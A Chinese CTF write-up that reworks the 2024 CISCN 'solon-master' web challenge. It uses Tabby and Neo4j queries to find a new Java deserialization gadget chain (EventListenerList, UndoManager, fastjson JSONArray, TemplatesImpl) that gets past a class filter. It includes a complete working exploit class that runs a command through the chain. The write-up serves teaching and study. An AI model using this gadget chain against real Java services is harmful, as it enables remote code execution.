tabby的初次使用--复盘2024CISCN WEB solon-master
2025-02-17 21:15:55

tabby的初次使用–复盘2024CISCN WEB solon-master

1、tabby介绍

Tabby是一款针对 Java 语言的静态代码分析工具,可用于快速发现多种类型的 Java 语言相关的漏洞。解析jar文件后通过构建neo4j数据图库来完成漏洞链路。

安装可参考链接,本篇文章目的主要是通过题目来介绍如何快速上手该工具。

2、源码分析

image-20250211185304188

关键源代码在api路由和deserialize函数,可以看到必须包含user.class和不能包含BadAttributeValueException这个类,观察User.java

image-20250211185840087

发现其中使用了Map类型,联想到之前的过滤,可以猜到需要使用一条新的toString链子,查看项目依赖

image-20250211190334648

发现使用了fastjson项目,而源码没有明显的对json反序列化的操作,说明是利用fastjson的原生反序列化利用链(before1.2.48&after1.2.48bypass

结合有map这一类,目前的思路是通过HashMap#readObject来触发有toString的readObject,如被ban的BadAttributeValueException#readObject

3、使用tabby分析项目

将tabby配置的target选项修改为题目的jar包路径,将其他配置好进行分析,可以选择将原生java带入一起分析。

分析完后将其导入到neo4j数据库中,目前的目标是找到一个可以支持反序列化的类,修改了readObject方法,最后能利用到toString方法

通过已有的toString链子进行分析,可以发现都是利用了java.lang.Object#toString,那么可以限制toString方法,,该toString方法应该是被某个函数调用的;同时,我不想太多的java.*的类影响我进行判断,也需要屏蔽BadAttributeValueException这个类。由此可以构建我们需要的查询语句

1
2
3
4
5
match(source:Method {NAME:"readObject"})<-[:HAS]-(class:Class {IS_PUBLIC:true})where source.CLASSNAME=~"^(?!java\.).*$"
match(sink:Method {NAME:"toString"})where sink.CLASSNAME="java.lang.Object"
CALL tabby.beta.findPath(source,">",sink,4,false)yield path
where none(n in nodes(path) where n.CLASSNAME in ["javax.management.BadAttributeValueExpException","com.alibaba.fastjson.JSONReader","com.alibaba.fastjson.util.AntiCollisionHashMap","javax.xml.xpath.XPathException"])
return path

第一句:从方法中选取类的名不包含**java.**且类属性为public的readObject方法

第二句:选取java.lang.Object#toString方法

第三句:通过tabby的方法来进行搜索,同时下一句对某些类进行过滤,避免过多分支

最后结果如下

find2string

通过排查,发现有一条链子

image-20250212000438718

EventListenerList的链子可以使用,根据显示,调用链如下:

javax.swing.event.EventListenerList#readObject->javax.swing.event.EventListenerList#add-> java.lang.StringBuilder#append->java.lang.String#valueOf-> java.lang.Object#toString

跟进到add函数

image-20250212001025714

这里调用了”+”(append)函数,所以会触发toString,观察回readObject方法

image-20250212004324376

可以发现需要一个类满足继承了EventListener且有toString方法,可以通过tabby来进行搜索

1
2
3
4
match(source:Class {IS_SERIALIZABLE:true,IS_PUBLIC:true})-[:HAS]->(m1:Method {NAME:"toString"})
match(c1:Class {INTERFACES:"[\"java.util.EventListener\"]"})
match path=(source)-[:INTERFACE*]->(c1)
return path

EventListener

发现有两个类满足条件,人工排查后发现javax/swing/undo/UndoManager.java满足上述条件,跟进其toString方法,发现两个变量都是string类型,所以看跟进其super方法,发现有一个edit变量为Vector类,观察Vector类的toString方法,发现会直接有经典的toString方法

image-20250212005616167

所以可以直接利用,先通过反射修改UndoManager的edit变量,然后需要满足Undo和class.forname的类不一样即可

最终利用如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
package com.example.demo;

import com.alibaba.fastjson.*;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Vector;
import javax.swing.event.EventListenerList;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import sun.misc.Unsafe;
import javax.swing.text.InternationalFormatter;

import com.example.demo.DemoController;
import javax.swing.undo.UndoManager;

public class test {
//工具方法
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);

return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
public static Object getObjectByUnsafe(Class clazz) throws Exception{
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
return unsafe.allocateInstance(clazz);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
static Object deserialize(String data) throws Exception {
return new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(data))) { // from class: com.example.demo.DemoController.1
boolean check = false;

@Override // java.io.ObjectInputStream
protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
Class targetc = super.resolveClass(desc);
if (!this.check && !User.class.isAssignableFrom(targetc)) {
throw new IllegalArgumentException("HackerClass:" + targetc);
} else if (BadAttributeValueExpException.class.isAssignableFrom(targetc)) {
throw new IllegalArgumentException("HackerClass:" + targetc);
} else {
this.check = true;
return targetc;
}
}
}.readObject();
}
public static byte[] serialize(final Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}
//gadget方法
public static TemplatesImpl createTemplateImpl(String command) throws Exception {
TemplatesImpl templates = TemplatesImpl.class.newInstance();
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("cwm");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
cc.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, cc);
constructor.setBody(command);
cc.addConstructor(constructor);
byte[][] bytes=new byte[][]{cc.toBytecode()};
setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "cwm");
setFieldValue(templates, "_tfactory", null);
return templates;
}
public static BadAttributeValueExpException oldToString(Object triggee) throws Exception {
BadAttributeValueExpException val=new BadAttributeValueExpException(null);
Field valfield=val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, triggee);
return val;
}
public static EventListenerList newToString(Object triggee) throws Exception {
EventListenerList list=new EventListenerList();
UndoManager um=new UndoManager();
Vector v=(Vector) getFieldValue(um,"edits");
v.add(triggee);
setFieldValue(list,"listenerList",new Object[]{ByteArrayOutputStream.class,um});
return list;
}
public static Object newToString2(Object triggee) throws Exception {
InternationalFormatter formatter=new InternationalFormatter();
return 1;
}

public static void main(String[] args) throws Exception {
JSONArray jsonArray=new JSONArray();
TemplatesImpl templates=createTemplateImpl("Runtime.getRuntime().exec(\"calc\");");
jsonArray.add(templates);
EventListenerList list=newToString(jsonArray);
HashMap map=new HashMap();
map.put(templates,list);
User user=new User();
user.setName("cwm");
user.setInfo(map);
byte[] bytes=serialize(user);
deserialize(Base64.getEncoder().encodeToString(bytes));
}
}

image-20250212013925347

4、后记

其实最后发现这条链子是23年Aliyunctf的jaskson触发toString的链子,在最近的比赛也是经常会见到,相当于对我技术的一种鞭策吧,毕竟大三大四没有再认真做这一块安全内容了,还是需要跟随时代步伐的。

Prev
2025-02-17 21:15:55